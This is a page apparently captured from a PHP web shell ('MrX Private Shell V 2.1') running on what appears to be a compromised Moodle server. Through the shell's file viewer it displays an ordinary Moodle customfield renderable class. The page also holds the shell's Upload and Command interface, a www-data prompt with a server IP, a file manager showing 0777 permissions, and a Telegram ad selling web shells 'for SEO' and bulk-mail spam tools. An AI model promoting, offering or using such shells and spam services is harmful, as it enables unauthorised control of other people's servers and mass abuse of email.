__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 *  core_customfield field value renderable.
 *
 * @package   core_customfield
 * @copyright 2018 Daniel Neis Araujo <danielneis@gmail.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_customfield\output;

use core_customfield\data_controller;

defined('MOODLE_INTERNAL') || die;

/**
 * core_customfield field value renderable class.
 *
 * @package   core_customfield
 * @copyright 2018 Daniel Neis Araujo <danielneis@gmail.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class field_data implements \renderable, \templatable {

    /** @var \core_customfield\data_controller */
    protected $data;

    /**
     * Renderable constructor.
     *
     * @param \core_customfield\data_controller $data
     */
    public function __construct(\core_customfield\data_controller $data) {
        $this->data = $data;
    }

    /**
     * Returns the data value formatted for the output
     *
     * @return mixed|null
     */
    public function get_value() {
        return $this->data->export_value();
    }

    /**
     * Returns the field type (checkbox, date, text, ...)
     *
     * @return string
     */
    public function get_type(): string {
        return $this->data->get_field()->get('type');
    }

    /**
     * Returns the field short name
     *
     * @return string
     */
    public function get_shortname(): string {
        return $this->data->get_field()->get('shortname');
    }

    /**
     * Returns the field name formatted for the output
     *
     * @return string
     */
    public function get_name(): string {
        return $this->data->get_field()->get_formatted_name();
    }

    /**
     * Returns the data controller used to create this object if additional attributes are needed
     *
     * @return data_controller
     */
    public function get_data_controller(): data_controller {
        return $this->data;
    }

    /**
     * Export data for using as template context.
     *
     * @param \renderer_base $output
     * @return \stdClass
     */
    public function export_for_template(\renderer_base $output) {
        $value = $this->get_value();
        return (object)[
            'value' => $value,
            'type' => $this->get_type(),
            'shortname' => $this->get_shortname(),
            'name' => $this->get_name(),
            'hasvalue' => ($value !== null),
            'instanceid' => $this->data->get('instanceid')
        ];
    }
}

Filemanager

Name Type Size Permission Actions
field_data.php File 3.11 KB 0777
management.php File 4.06 KB 0777
renderer.php File 1.93 KB 0777
Filemanager